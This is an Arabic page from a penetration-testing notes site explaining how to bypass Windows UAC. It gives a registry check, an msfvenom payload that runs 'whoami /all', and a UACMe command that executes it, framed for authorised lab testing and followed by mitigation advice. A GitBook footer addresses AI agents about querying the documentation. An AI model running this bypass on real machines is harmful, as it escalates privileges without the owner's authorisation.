> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# تجاوز UAC

يحدّ التحكم في حساب المستخدم من الرفع التلقائي للصلاحيات للإجراءات الإدارية. إن تجاوز UAC مفيد فقط عندما يكون لدى المستخدم الحالي بالفعل رمز مميّز لمستخدم مسؤول مُفلتر أو يكون المضيف ذا إعداد رفع صلاحيات ضعيف.

## تحقق من مستوى UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

القيم الشائعة:

| القيمة | المعنى                        |
| ------ | ----------------------------- |
| `0`    | لا توجد مطالبة UAC            |
| `1`    | رفع صامت للصلاحيات حسب السياق |
| `2`    | مطالبة قياسية                 |
| `5`    | سلوك مطالبة أكثر تشددًا       |

<figure><img src="/files/87e248703615db1e3b4945c784e6a9862e19bf44" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/d6ddf8f4df70200141225ebd4af64e472b5e219a" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## جهّز ملف ثنائي للتحقق في المختبر

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## نفّذ باستخدام UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/6917642fb30d801b5b5c40c28ed76ea500e1af68" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## النقاط الرئيسية

* إن تجاوز UAC ليس تصعيدًا حقيقيًا من مستخدم عادي.
* أكّد مستوى UAC وسياق الرمز المميز قبل الاختبار.
* استخدم إجراء تحقق غير ضار أولًا، ثم انتقل إلى إجراء التقييم المحدد النطاق فقط عندما يكون ذلك مخولًا.
* عالج المشكلة بإعدادات UAC صارمة وبالامتناع عن تعريض جلسات المسؤول المكشوفة.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
